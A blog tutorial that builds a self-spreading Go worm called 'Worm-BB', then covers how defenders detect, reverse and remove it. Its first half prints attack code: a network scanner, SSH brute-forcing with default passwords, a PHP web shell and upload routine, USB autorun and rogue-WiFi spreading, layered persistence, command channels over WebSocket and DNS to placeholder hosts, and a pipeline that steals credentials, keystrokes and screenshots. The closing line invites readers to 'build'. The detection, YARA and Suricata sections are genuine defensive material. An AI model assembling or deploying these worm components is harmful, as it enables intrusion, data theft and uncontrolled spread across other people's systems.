← back to scripture

The Fascinating World of Self-Replicating Worms: A Journey from Creeper to Worm-BB

Disclaimer: This article is for educational purposes and authorized testing only
kr3w

The Fascinating World of Self-Replicating Worms: A Journey from Creeper to Worm-BB

By: ek0mssavi0r.dev

Picture this: It's 1971. Bell Labs programmers are smoking actual cigarettes at their desks, the internet is a cozy little ARPANET with exactly 23 computers, and Bob Thomas writes a program that moves between DEC PDP-10 machines displaying the message "I'm the creeper, catch me if you can." That's it. That's the first worm. No data theft, no ransomware, no geopolitical sabotage. Just a digital message in a bottle floating through the primordial soup of the early internet.

Fast forward to today, and worms have evolved from curious experiments into autonomous digital apex predators. They spread through networks like gossip at a tech conference, they hide from detection like your browser history, and they replicate with the enthusiasm of a startup founder pitching to venture capitalists.

I've spent way too many late nights studying these digital creatures, and I've built one called Worm-BB (the BB stands for "bad business," obviously). This article is your guided tour through the fascinating, terrifying, and honestly kinda beautiful world of self-replicating worms. We'll build one together, watch it spread, and then I'll show you how the good guys catch them and take them apart.

What Even IS a Worm?

Let's get one thing straight: a worm is NOT a virus. This isn't just pedantic security nerdery. The distinction matters.

A virus needs a host program. It's like a clingy ex who can't function without attaching themselves to something legitimate. A worm? A worm is a self-contained rogue. It doesn't need to attach to anything. It just runs, replicates, and spreads across networks entirely on its own.

Think of it this way:
- Virus: "Hey, can I borrow your car? I'll just tape myself to the bumper."
- Worm: "I am the car. I am also the driver. I am also the road. I am everywhere."

Worms exploit the fundamental nature of networks: connected things talk to other connected things. If you can convince a computer to talk to another computer in a slightly different way, congratulations, you've just built a worm.

The Propagation Trinity: Scan, Exploit, Replicate

Every worm follows the same sacred three-step dance. Learn it. Love it. Defend against it.

Step 1: Scan - The Digital Door Knocker

Before a worm can spread, it needs to find victims. This is where the magic of concurrency comes in. Worms don't knock on one door at a time like a polite salesman. They kick down every door in the neighborhood simultaneously.

Here's how Worm-BB scans a network using Go's goroutines. This is beautiful code, and by beautiful I mean terrifying:

func (w *Worm) scanCIDR(cidr string) {
    ip, ipnet, _ := net.ParseCIDR(cidr)

    // Create a channel to limit concurrency
    semaphore := make(chan struct{}, 500)
    var wg sync.WaitGroup

    for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); incrementIP(ip) {
        wg.Add(1)
        go func(target net.IP) {
            defer wg.Done()
            semaphore <- struct{}{}
            defer func() { <-semaphore }()

            // Check for open ports that matter
            ports := []int{22, 445, 80, 443, 3306}
            for _, port := range ports {
                if w.isPortOpen(target.String(), port) {
                    w.foundHosts <- fmt.Sprintf("%s:%d", target, port)
                    break
                }
            }
        }(ip)
    }

    wg.Wait()
}

This little function can scan an entire /24 network (254 hosts) in seconds. Five hundred goroutines all screaming "ARE YOU THERE?" at different computers simultaneously. The worm doesn't care if you're a Windows domain controller, a Linux web server, or someone's Raspberry Pi running a weather station. It knocks on every door.

Step 2: Exploit - The Creative Breaking and Entering

Once the worm finds an open port, it needs to get in. This is where things get creative. Worm-BB uses multiple propagation vectors because putting all your eggs in one exploit basket is how you get caught.

SSH Brute Force - The Classics Never Die

You'd be shocked how many systems still have root:root or admin:admin. I'm not shocked anymore. I'm just disappointed.

func (p *Propagator) exploitSSH(target string) {
    credentials := []struct{ user, pass string }{
        {"root", ""}, {"root", "root"}, {"root", "123456"},
        {"admin", "admin"}, {"ubuntu", "ubuntu"}, {"pi", "raspberry"},
    }

    for _, cred := range credentials {
        config := &ssh.ClientConfig{
            User: cred.user,
            Auth: []ssh.AuthMethod{ssh.Password(cred.pass)},
            HostKeyCallback: ssh.InsecureIgnoreHostKey(),
        }

        client, err := ssh.Dial("tcp", target+":22", config)
        if err == nil {
            p.deployPayload(client, target)
            return
        }
    }
}

This isn't sophisticated. It's not using zero-days or nation-state resources. It's just trying the digital equivalent of "guest" and "password" and finding way too many open doors.

Web Shells - The Gift That Keeps On Giving

Once a worm gets into a web server, it doesn't just leave. It deploys web shells. These are little PHP or ASP files that let the worm come back anytime it wants.

const webshell = `<?php system($_GET['cmd']); ?>`

func (w *WebShellManager) deploy(target string) {
    // Try PUT first (WebDAV misconfigurations are surprisingly common)
    req, _ := http.NewRequest("PUT", target+"/shell.php", 
                               strings.NewReader(webshell))
    client.Do(req)

    // Then try POST (vulnerable upload forms)
    data := url.Values{}
    data.Set("file", webshell)
    client.PostForm(target+"/upload.php", data)

    // Then try FTP if we have creds from earlier
    // You get the idea...
}

The worm tries every door. It tries the front door, the back door, the doggy door, and that window you left cracked open. It has no shame and infinite patience.

USB Propagation - The Air Gap Is a Lie

Here's where Worm-BB gets clever. When it infects a system, it starts watching for USB drives. The moment someone plugs in a thumb drive, the worm copies itself with an autorun.inf file.

func (usb *USBPropagator) infectDrive(path string) {
    // Copy worm to USB
    wormData, _ := ioutil.ReadFile(exe)
    ioutil.WriteFile(path+"/SystemUpdate.exe", wormData, 0755)

    // Create autorun.inf for Windows
    autorun := `[AutoRun]
open=SystemUpdate.exe
action=Update System Software`
    ioutil.WriteFile(path+"/autorun.inf", []byte(autorun), 0644)

    // Hide the evidence
    exec.Command("attrib", "+h", path+"/SystemUpdate.exe").Run()
}

This is how worms jump air gaps. Someone takes a USB drive from an infected machine, walks to an air-gapped system, and plugs it in. The worm doesn't need the network. It just needs one human making one mistake.

WiFi Evil Portal - The Free Internet Trap

Sometimes the worm creates its own network. On systems with wireless capabilities, Worm-BB can spin up a rogue access point with a name like "Free_Public_WiFi" or "Airport_Wireless."

func (w *WiFiPropagator) startEvilPortal() {
    // Start rogue AP
    exec.Command("hostapd", "/etc/hostapd.conf").Start()

    // Start DNS spoofing - every domain goes to our portal
    exec.Command("dnsmasq", "-C", "/etc/dnsmasq.conf").Start()

    // Serve captive portal
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte(`
            <h1>Welcome to Free WiFi</h1>
            <p>Please download security update to continue</p>
            <a href="/worm.exe">Download</a>
        `))
    })
    http.ListenAndServe(":80", nil)
}

Users connect to "Free Public WiFi," see a page asking them to download a "security update," and happily install the worm themselves. You can't make this up. People actually do this.

Step 3: Replicate - The Exponential Growth Phase

This is where worms become truly terrifying. Every new infection becomes another scanning node. The growth isn't linear. It's exponential.

If one worm infects two computers, and each of those infects two more, after ten rounds you have over a thousand infected systems. After twenty rounds, you have over a million. This is why worms can saturate the entire internet in hours.

Worm-BB includes population management to avoid detection. It's smart enough to not over-infect the same network:

func (wp *WormPopulation) shouldPropagateHere() bool {
    localCount := wp.countLocalInstances()

    switch {
    case localCount == 0:
        return true  // No worm here? Go crazy
    case localCount < 3:
        return true  // A few worms? Fill the gaps
    case localCount > 10:
        return false // Too crowded? Move along
    default:
        return true
    }
}

The worm coordinates with its siblings. They elect a leader. They divide up scanning responsibilities. They avoid stepping on each other's toes. It's like a really malicious distributed computing project.

Building Worm-BB: A Journey in Go

Why Go for worm development? I'm glad you asked.

Go compiles to static binaries. No dependencies, no runtime requirements, no "you need version 3.7.2 of libwhatever to run this." You compile once and it runs everywhere. This is huge for worms.

Go's concurrency model is perfect for scanning. Goroutines are lightweight threads that can scan thousands of hosts simultaneously without melting the CPU.

Go cross-compiles to Windows, Linux, macOS, and ARM with a single command. The same codebase can infect your laptop, your server, and your Raspberry Pi home automation hub.

Here's the complete structure of Worm-BB. I've simplified it for your reading pleasure, but the core ideas are all here:

type Worm struct {
    id            string          // Unique identifier
    population    *Population     // Tracks other worm instances
    propagator    *Propagator     // Handles scanning and exploitation
    persistence   *Persistence    // Installs for reboot survival
    c2            *C2Manager      // Phones home for commands
    exfil         *Exfiltrator    // Steals interesting data
}

func (w *Worm) Run() {
    // Am I alone or are there siblings?
    if w.population.Count() == 0 {
        w.persistence.Install()  // Make myself at home
        w.propagator.Start()     // Start spreading
    } else {
        w.population.Join()      // Coordinate with others
    }

    w.c2.Connect()               // Call home for orders
    w.exfil.Start()              // Start stealing data

    select {} // Forever loop - worms never sleep
}

The worm maintains persistence through multiple mechanisms. Delete one, and the others respawn it:

func (p *Persistence) Install() {
    // Windows: Registry run keys
    p.addRegistryKey()

    // Windows: Scheduled tasks
    p.createScheduledTask()

    // Windows: WMI event subscriptions
    p.createWmiSubscription()

    // Linux: Crontab entries
    p.addCronJob()

    // Linux: Systemd services
    p.createSystemdService()

    // Both: Startup folders
    p.copyToStartup()

    // Both: SSH authorized_keys backdoor
    p.addSshKey()
}

This is defense in depth, but for offense. The worm doesn't just hide in one place. It hides everywhere.

Command and Control: The Worm's Brain

Worms aren't just dumb replicators. They can take commands from a central server. Worm-BB implements multiple C2 channels because single points of failure are for amateurs.

WebSocket C2 - Real-time Control

func (c2 *C2Manager) connectWebSocket() {
    dialer := websocket.Dialer{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
    conn, _, _ := dialer.Dial("wss://c2-server.example.com:8443/ws", nil)

    for {
        var msg Command
        conn.ReadJSON(&msg)

        switch msg.Type {
        case "SCAN":
            go c2.scanNetwork(msg.Target)
        case "EXFIL":
            go c2.stealData(msg.Parameters)
        case "EXECUTE":
            go c2.runCommand(msg.Command)
        case "UPDATE":
            go c2.selfUpdate(msg.URL)
        case "SLEEP":
            time.Sleep(time.Duration(msg.Duration) * time.Second)
        }
    }
}

DNS Tunneling - The Firewall Bypass

When WebSockets are blocked, worms use DNS. Yes, DNS. The protocol that resolves google.com to an IP address can also carry worm commands.

func (dt *DNSTunnel) receiveCommands() {
    // Listen for TXT records containing commands
    dns.HandleFunc("c2-botnet.example.com", func(w dns.ResponseWriter, r *dns.Msg) {
        for _, q := range r.Question {
            if q.Qtype == dns.TypeTXT {
                encoded := strings.Split(q.Name, ".")[0]
                decoded, _ := base32.StdEncoding.DecodeString(encoded)
                decrypted := dt.decrypt(decoded)

                var cmd Command
                json.Unmarshal(decrypted, &cmd)
                dt.commands <- cmd
            }
        }
    })
}

DNS traffic almost always passes through firewalls. It has to. Without DNS, the internet doesn't work. So worms hide in plain sight, sending commands and exfiltrating data through the same protocol that lets you visit cat videos.

Data Exfiltration: Why Worms Steal Everything

Modern worms don't just spread. They steal. Everything. Credentials, documents, screenshots, keystrokes. If it's on the system, the worm wants it.

Worm-BB implements a data exfiltration pipeline that batches and encrypts stolen data before sending it home:

type ExfilData struct {
    Type      string    // CREDS, FILE, SCREENSHOT, KEYLOG
    Data      []byte
    Timestamp time.Time
    Target    string
}

func (e *Exfiltrator) start() {
    ticker := time.NewTicker(5 * time.Minute)
    buffer := make([]ExfilData, 0, 100)

    for {
        select {
        case data := <-e.dataChan:
            buffer = append(buffer, data)

            if len(buffer) >= 100 {
                e.flush(buffer)
                buffer = make([]ExfilData, 0, 100)
            }

        case <-ticker.C:
            if len(buffer) > 0 {
                e.flush(buffer)
                buffer = make([]ExfilData, 0, 100)
            }
        }
    }
}

func (e *Exfiltrator) flush(batch []ExfilData) {
    // Encrypt the batch
    jsonData, _ := json.Marshal(batch)
    encrypted := e.aesEncrypt(jsonData)

    // Try multiple exfil methods
    methods := []func([]byte) error{
        e.httpPost,
        e.dnsTunnel,
        e.websocketSend,
        e.smtpExfil,      // Yes, email
    }

    for _, method := range methods {
        if method(encrypted) == nil {
            return
        }
    }
}

The worm steals SSH keys, browser passwords, database credentials, and interesting documents. It screenshots your desktop. It logs your keystrokes. It's not malicious in the "delete your files" sense. It's malicious in the "I now know everything about your network" sense.

How Blue Teams Catch Worms: The Hunt Begins

Now for the fun part. You've seen how worms work. You've seen the code. Now let's talk about how the good guys find them.

Network Detection: Following the Digital Breadcrumbs

Worms leave network traces. You just need to know what to look for.

Multicast Traffic Analysis

Worm-BB uses multicast address 239.255.42.42 for peer discovery. That's not a normal multicast address. Normal multicast is for video streaming or service discovery. This is worm chatter.

# Capture multicast traffic on the worm port
sudo tcpdump -i eth0 udp port 4242 -A

# Look for JSON payloads containing instance IDs
# If you see something like {"id":"a3f2...","ip":"192.168.1.100","population":42}
# You've found the worm.

Rapid Port Scanning Detection

Worms scan networks aggressively. A human doesn't scan 254 hosts in 5 seconds. A worm does.

# Look for connection attempts to many hosts in short time
sudo tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0' | \
    awk '{print $5}' | cut -d. -f1-4 | sort | uniq -c | sort -rn

# If one source IP shows up 200+ times in a minute, investigate.

DNS Tunnel Detection

DNS tunneling looks like DNS, but wrong. The subdomains are too long, too random, and too frequent.

# Simple DNS tunnel detector (because I love you)
def detect_dns_tunnel(queries):
    suspicious = []
    for query in queries:
        if len(query.name) > 50:  # Legitimate names are shorter
            suspicious.append(query)
        if query.qtype == 'TXT' and len(query.answer) > 200:  # TXT with large payload
            suspicious.append(query)
        if query.name.count('.') > 10:  # Too many subdomains
            suspicious.append(query)
    return suspicious

Endpoint Detection: Where The Worm Lives

Worms hide on endpoints. But they can't hide forever.

Process Anomaly Detection

Look for processes with legitimate-sounding names running from weird locations.

# Windows - Find suspicious processes
Get-Process | Where-Object {
    $_.Path -like "*\Temp\*" -or 
    $_.Path -like "*\Users\Public\*" -or
    $_.Path -like "*\AppData\*\Temp\*"
} | Select-Object Name, Id, Path

# If svchost.exe is running from C:\Users\Bob\AppData\Local\Temp
# That's not svchost. That's the worm.
# Linux - Find processes running from temp directories
ps aux | awk '$11 ~ /\/tmp\/|\/dev\/shm\// {print $0}'

# system-update running from /tmp? Not suspicious at all...

File System Scanning

Worms drop files in predictable places. Scan for them.

// This is literally the detection code from our earlier detector
func scanForWormFiles() {
    paths := []string{
        "/tmp/system-update",
        "/etc/systemd/system/system-update.service",
        "C:\\Windows\\Temp\\system-update.exe",
        "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemUpdate.exe",
    }

    for _, path := range paths {
        matches, _ := filepath.Glob(path)
        for _, match := range matches {
            fmt.Printf("[!] Found suspicious file: %s\n", match)
        }
    }
}

Registry Persistence Scanning

Windows worms love the registry. Check the common persistence locations.

# Check Run keys
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

# Check WMI event subscriptions (nobody checks these)
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer

# If you see "SystemUpdateFilter" or anything similar, you're infected.

Memory Analysis: Catching Worms That Hide

Sometimes worms hide so well that file system scans miss them. That's when you need memory analysis.

# Use volatility to analyze memory dumps
volatility -f memory.dmp --profile=Win10x64 pslist
volatility -f memory.dmp --profile=Win10x64 malfind
volatility -f memory.dmp --profile=Win10x64 cmdscan

# Look for injected code, hidden processes, and suspicious command history

Reverse Engineering Compiled Worms: Taking Them Apart

You've caught the worm. Now you need to understand what it does. Reverse engineering compiled Go binaries is different from C/C++ binaries. Go has its own runtime, its own calling conventions, and it doesn't strip symbols by default.

Step 1: Identify It's a Go Binary

Go binaries have distinctive signatures:

# Check for Go-specific sections
readelf -S worm_bb | grep -E "\.gopclntab|\.go\.buildinfo"

# Look for Go strings
strings worm_bb | grep -E "go\.buildid|runtime\.|main\."

# If you see these, it's Go. And Go binaries are friendlier to reverse.

Step 2: Extract Symbols and Types

Go binaries retain function names and type information unless stripped. This is gold.

# Use redress (Go-specific reversing tool)
redress worm_bb functions

# Output looks like:
# main.main
# main.(*Worm).Run
# main.(*Propagator).exploitSSH
# main.(*C2Manager).connectWebSocket

# You now have a roadmap of the worm's capabilities

Step 3: Recover the Symbol Table

Even stripped Go binaries can have their symbol table recovered.

# Use go_parser (part of radare2)
r2 -c "aaa; is" worm_bb

# Or use Ghidra with the Go plugin
# The Go plugin recovers function names and types

Step 4: Analyze Network Indicators

Extract network artifacts first. These are your quickest wins.

# Extract strings and grep for IPs and domains
strings worm_bb | grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}|[a-zA-Z0-9.-]+\.(com|org|net|io)'

# Look for multicast addresses
strings worm_bb | grep '239\.'

# Look for WebSocket URLs
strings worm_bb | grep 'wss://'

# Output might reveal C2 infrastructure

Step 5: Find the Propagation Logic

Once you have symbols, find the propagation functions.

# In Ghidra or IDA, look for functions named:
# - exploitSSH
# - exploitSMB
# - scanNetwork
# - deployPayload
# - propagate

# These functions contain the worm's spreading mechanisms

Step 6: Extract Hardcoded Credentials

Worms often ship with credential lists. Find them.

// What you might find in the binary:
var defaultCreds = []string{
    "root:",
    "root:root",
    "root:123456",
    "admin:admin",
    "ubuntu:ubuntu",
    "pi:raspberry",
}

// These are gold for understanding the worm's targeting

Step 7: Recover C2 Communication Protocol

Look for functions that handle network communication.

# Search for WebSocket, DNS, HTTP functions
strings worm_bb | grep -i "websocket\|dns\|http\.client"

# Look for JSON structures
strings worm_bb | grep -i '{"type"'

# Extract TLS certificates (they might be embedded)
strings worm_bb | grep -A 25 "BEGIN CERTIFICATE"

Step 8: Dynamic Analysis in a Sandbox

Static analysis only gets you so far. Run the worm in a controlled environment.

# Set up an isolated network
docker network create --subnet=10.0.0.0/24 worm-lab

# Run the worm with strace to see system calls
strace -f -e trace=file,network,process ./worm_bb 2>&1 | tee worm_trace.log

# Monitor network traffic
sudo tcpdump -i docker0 -w worm_traffic.pcap

# Run in a debugger
gdb ./worm_bb
(gdb) break main.main
(gdb) run
(gdb) info goroutines  # Yes, GDB can see Go goroutines

Step 9: Extract the Exfiltration Logic

Find where the worm sends stolen data.

# Look for database connection strings
strings worm_bb | grep -i "mysql\|postgres\|mongodb"

# Look for HTTP POST endpoints
strings worm_bb | grep -i "POST\|upload\|exfil"

# Look for encryption functions (AES, XOR, base64)
strings worm_bb | grep -i "aes\|gcm\|base64"

Step 10: Build Signatures for Detection

Once you understand the worm, build detection rules.

YARA Rule for Worm-BB:

rule Worm_BB_Detection {
    meta:
        description = "Detects Worm-BB binary"
        author = "Blue Team Hero"
        date = "2024-01-01"

    strings:
        $s1 = "SystemUpdateMutex"
        $s2 = "239.255.42.42"
        $s3 = "SystemUpdateTask"
        $s4 = "WormPopulation"
        $s5 = "exploitSSH"
        $s6 = "c2-botnet.example.com"
        $s7 = "/tmp/system-update"

    condition:
        uint16(0) == 0x5A4D and 3 of ($s*)
}

Suricata Rule for Network Detection:

alert udp $HOME_NET any -> any 4242 (msg:"WORM-BB Peer Discovery"; 
    content:"|7b 22 69 64 22|"; depth:10; 
    sid:1000001; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 8443 (msg:"WORM-BB C2 WebSocket";
    flow:to_server,established;
    content:"|16 03 01|"; depth:3;
    sid:1000002; rev:1;)

The Ethics of Worm Research

Let me be absolutely clear. Building and releasing worms on real networks is a federal crime in most countries. It's not a "oops, my bad" situation. It's a "you're going to federal prison" situation.

But understanding worms is essential to defending against them. You cannot protect against what you don't understand. Every blue teamer should know how worms work. Every incident responder should be able to reverse engineer malware. Every security engineer should understand propagation patterns.

The code in this article is for education. Run it in isolated labs. Test it on your own hardware. Learn from it. Then use that knowledge to build better defenses.

What To Do If You Find A Worm

You're monitoring your network and you see the signs. Rapid port scans. Suspicious multicast traffic. Processes running from temp directories. Here's your incident response playbook:

  1. Isolate immediately. Disconnect the infected system from the network. Don't give the worm time to spread further.

  2. Preserve evidence. Take a memory dump. Capture network traffic. Copy suspicious files. You'll need these for analysis.

  3. Identify the worm. Use the detection techniques above. Find out what worm you're dealing with. Is it Worm-BB? Conficker? Something custom?

  4. Contain the spread. Block C2 domains at the DNS level. Block known worm ports at the firewall. Scan your entire network for indicators.

  5. Eradicate. Use the remediation techniques from our detector. Kill processes, delete files, remove registry keys, clean up scheduled tasks.

  6. Recover. Restore from clean backups. Reinstall if necessary. Rotate all credentials.

  7. Learn. How did the worm get in? Was it SSH brute force? A vulnerable web app? USB drive? Fix the root cause.

The Future of Worms

Worms aren't going away. They're getting smarter. AI-powered worms that adapt their propagation based on defenses. Worms that use legitimate cloud APIs for C2. Worms that live entirely in memory and never touch the disk. Worms that propagate through supply chains and update mechanisms.

The arms race continues. Attackers build better worms. Defenders build better detectors. And the cycle repeats.

But here's the thing. Worms follow patterns. They scan, they exploit, they replicate. They leave traces. They make noise. They can't help it. If you understand the patterns, you can catch them.

So learn the patterns. Build the detectors. Reverse the malware. Share the signatures.

And maybe, just maybe, stay one step ahead of the worms.

Appendix: Quick Reference Card

Worm Detection Commands:

# Find processes in temp directories
ps aux | grep -E '/tmp/|/dev/shm/'

# Find suspicious network listeners
netstat -tulpn | grep -E '4242|4444|8443'

# Find cron jobs
crontab -l 2>/dev/null

# Find systemd services
systemctl list-unit-files | grep -E 'update|systemd-.*\.service'

# Find USB autorun files
find /media -name "autorun.inf" 2>/dev/null

# Find WMI subscriptions (PowerShell)
Get-WmiObject -Namespace root\subscription -Class __EventFilter

# Capture multicast traffic
tcpdump udp port 4242 -n

# Extract Go symbols
go version -m worm_bb

Worm Remediation Commands:

# Kill processes
pkill -f system-update

# Delete files
rm -f /tmp/system-update /etc/systemd/system/system-update.service

# Remove cron jobs
crontab -l | grep -v system-update | crontab -

# Stop systemd service
systemctl stop system-update.service && systemctl disable system-update.service

# Remove registry keys (Windows)
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /f

# Delete scheduled tasks (Windows)
schtasks /delete /tn SystemUpdateTask /f

# Clean USB drives
find /media -name "SystemUpdate.exe" -delete
find /media -name "autorun.inf" -delete

Go Binary Reverse Engineering Tools:

Now go forth and defend. Or build. Or both.

The internet is counting on you.

download plain text